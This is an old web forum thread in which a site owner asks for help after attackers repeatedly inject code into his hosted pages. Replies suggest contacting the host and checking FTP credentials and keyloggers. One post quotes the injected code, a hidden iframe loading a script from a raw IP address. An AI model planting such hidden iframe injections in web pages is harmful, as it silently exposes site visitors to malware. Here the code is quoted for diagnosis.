need help protecting a site

topic posted Tue, August 14, 2007 - 10:06 AM by 
Good afternoon all,
I have one site I host that is CONTINUALLY being hacked! It has gotten to the point that i need to check it almost daily, and im tired of it. Is there any tool that can help me prevent this or at least tell me when it happens so that i may stop it more quickly? Any and all help is appreciated!
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  • Re: need help protecting a site

    Tue, August 14, 2007 - 11:28 AM
    What is happening? What do you mean "hacked"? Have you changed the server password?
    • Re: need help protecting a site

      Tue, August 14, 2007 - 11:32 AM
      I have changed the password. What is happening is that they keep inserting a virus code into pages. this is the code:

      <body><iframe src='http://81.95.149.235/cgi-bin/nsp.cgi?p=alex' width='1' height='1' style='visibility: hidden;'></iframe>
      <div align="center" id="masthead">

      I dont know how they are getting in or if they are using ftp or some other way to modify the page(s)
      • Re: need help protecting a site

        Tue, August 14, 2007 - 11:44 AM
        So, they are able to access your site files? Even after you've changed your password? I suggest you contact your host immediately, because this is a serious security breach.

        If your host is reputable, they will find out what's going on. They have tools for that sort of thing. If your host is not reputable, then (if I were you), I'd find a new host immediately. I use Dreamhost, for example. Never had a problem.

        Forgive me if these seem like a dum-dum questions... Are you SURE that you are overwriting the old file with a new file you've made? Are you SURE you changed the password? When you upload the corrected file, do you IMMEDIATELY check to see that that is what's still on your server? Have you done a cache flush to make sure you're not just looking at an old cached page?
        • Re: need help protecting a site

          Tue, August 14, 2007 - 12:06 PM
          They appear to be. I will be contacting them tonight. The questions aren't dum edward, i would ask the same thing, is why im asking here to see if I may have missed anything, or if there is a program that can help me monitor how they are doing it.
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        Re: need help protecting a site

        Tue, August 14, 2007 - 12:16 PM

        These suggestions may be classified under "duh, I already know that", but just in case:


        Are there any FTP, FrontPage or similar accounts other than the one you use? FTP sends username/password as plain text, so it's relatively easy for an enterprising hacker-type to intercept.

        Does anyone have physical access to the computer you use?

        Have you entrusted anyone else to access your site?

        Check for spyware, viri, and especially key loggers. even if nobody else physically uses your machine, they can do their intercept remotely.


        --k

        • Re: need help protecting a site

          Tue, August 14, 2007 - 1:40 PM
          am i checking for them on my computer or the server. I have called the hosting company and they are doing a security sweep. Which programs are best for looking for these. No one can get to my machine but doesnt hurt to check
  • Re: need help protecting a site

    Wed, August 15, 2007 - 11:26 AM
    Chris, what have you learned so far about your situation? Any news from your host?
    • Re: need help protecting a site

      Wed, August 15, 2007 - 12:07 PM
      I called my host and they are doing a complete disinfect. It looks like someone had a data vampire tap so they got my ftp pw as i sent it. am looking into a more secure resolution now. Is there any software that can alert you as to when changes are made to your site? This way I could have a running log as to when i do it and check dates
      • Re: need help protecting a site

        Wed, August 15, 2007 - 1:18 PM
        If you are using Firefox, you might be able to do that using iMacros. You might be able to set up a macro that runs your whole site. Then, whenever you run the macro again, it runs the site and tells you what's different. I THINK.

        Man, your host sure fucked up. Sorry, dude. They should send someone around to give you Pop-Tarts and a rubdown after all that hassle.

        I would hate to be them.

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